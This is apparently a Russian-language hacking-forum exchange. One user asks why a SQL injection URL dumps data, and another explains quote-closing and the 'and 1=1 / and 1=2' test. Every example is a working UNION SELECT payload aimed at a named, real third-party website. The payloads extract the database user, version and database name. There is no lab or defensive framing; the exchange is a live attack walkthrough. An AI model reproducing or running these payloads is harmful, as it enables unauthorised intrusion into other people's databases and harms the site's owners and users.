Сообщение от
heks
Мне бы расписать почему при
http://www.riviera-crimea.com/detail.php?id=-425'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,co ncat_ws(0x3a,user(),version(),database()),15,16+--+
данные выводятся
http://www.riviera-crimea.com/detail.php?id=425+union+select+1,2,3,4,5,6,7,8,9,1 0,11,12,13,co ncat_ws(0x3a,user(),version(),database()),15,16+--+ (убираем минусили ковычку)
данные не выводятся
как узнать когда писать именно ковычку, минус и ковычку а когда просто ковычку
ну в статьях как бы всё расписано(даже если не написано и ты не можешь понять, то наверно надо изучать не с этого)
1. Ковычка используется при запросах вида
"SELECT * FROM table WHERE param=
'".$_GET['param']."
'"
ковычкой мы закрываем предыдущую ковычку.
Проверить просто:
http://www.riviera-crimea.com/detail.php?id=421+and+1=1 - отображает
http://www.riviera-crimea.com/detail.php?id=421+and+1=2 - отображает
значит мы не влияем на запрос, т. к. мы должны были получить пустой результат 421+and+1=2 (true and false = false)
"SELECT * FROM table WHERE param=
'421 and 1=2
'"
2. С кавычкой
http://www.riviera-crimea.com/detail.php?id=421'+and+1=1--+ - отображает
http://www.riviera-crimea.com/detail.php?id=421'+and+1=2--+ - не отображает
значит запрос составлен верно
"SELECT * FROM table WHERE param=
'421
' and 1=2--+
'"
3. -421 это то вместо чего я использую 421 and 1=2(что как и -421 возвращает пустой запрос и можно вписать свой через union select)